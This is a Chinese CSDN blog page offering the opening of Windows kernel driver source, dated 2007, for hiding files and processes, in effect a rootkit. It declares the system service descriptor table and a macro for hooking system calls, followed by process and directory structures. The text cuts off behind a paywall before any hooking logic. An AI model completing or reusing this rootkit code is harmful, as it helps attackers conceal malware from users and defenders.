隐藏文件和进程的驱动代码

最新推荐文章于 2017-06-16 12:56:55 发布

iiprogram

最新推荐文章于 2017-06-16 12:56:55 发布

阅读量1.4k

点赞数

分类专栏： windows底层核心編程文章标签： integer struct system file string function

本文链接：https://blog.csdn.net/iiprogram/article/details/2298538

版权

本文详细介绍了如何在Windows操作系统中编写驱动程序，实现对文件和进程的隐藏功能。通过使用内核级操作，结合整型变量、结构体、系统调用、字符串和函数的应用，达到系统级别的隐蔽效果。

摘要由CSDN通过智能技术生成

// ***************************************************************
//  bhhidef version:  1.0 ? date: 10/11/2007
//  -------------------------------------------------------------
//
//  author  :virvir
//  -------------------------------------------------------------
//  msn    ：dupchina@yahoo.com.cn
//  QQ    : 414947531
//  web    :www.virvir.cn
//  -------------------------------------------------------------
//  Copyright (C) 2007 - All Rights Reserved
// ***************************************************************

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
/************************************************************************/
/*          pre-defines                                           */
/************************************************************************/
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

/*
* Length of process name (rounded up to next DWORD)
*/
#define PROCNAMELEN    20

/*
* Maximum length of NT process name
*/
#define NT_PROCNAMELEN  16

#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37

/************************************************************************/
/* structs                                                          */
/************************************************************************/
struct _SYSTEM_THREADS
{
      LARGE_INTEGER          KernelTime;
      LARGE_INTEGER          UserTime;
      LARGE_INTEGER          CreateTime;
      ULONG                         WaitTime;
      PVOID                         StartAddress;
      CLIENT_ID                      ClientIs;
      KPRIORITY                      Priority;
      KPRIORITY                      BasePriority;
      ULONG                         ContextSwitchCount;
      ULONG                         ThreadState;
      KWAIT_REASON          WaitReason;
};

struct _SYSTEM_PROCESSES
{
      ULONG                         NextEntryDelta;
      ULONG                         ThreadCount;
      ULONG                         Reserved[6];
      LARGE_INTEGER          CreateTime;
      LARGE_INTEGER          UserTime;
      LARGE_INTEGER          KernelTime;
      UNICODE_STRING       ProcessName;
      KPRIORITY                      BasePriority;
      ULONG                         ProcessId;
      ULONG                         InheritedFromProcessId;
      ULONG                         HandleCount;
      ULONG                         Reserved2[2];
      VM_COUNTERS                   VmCounters;
      IO_COUNTERS                   IoCounters; //windows 2000 only
      struct _SYSTEM_THREADS       Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};

typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
LARGE_INTEGER FileId;
WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex; <

最低0.47元/天解锁文章

iiprogram

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
隐藏文件和进程的驱动代码

// ***************************************************************// bhhidef version: 1.0 ? date: 10/11/2007// --------------------------------------
复制链接

扫一扫

专栏目录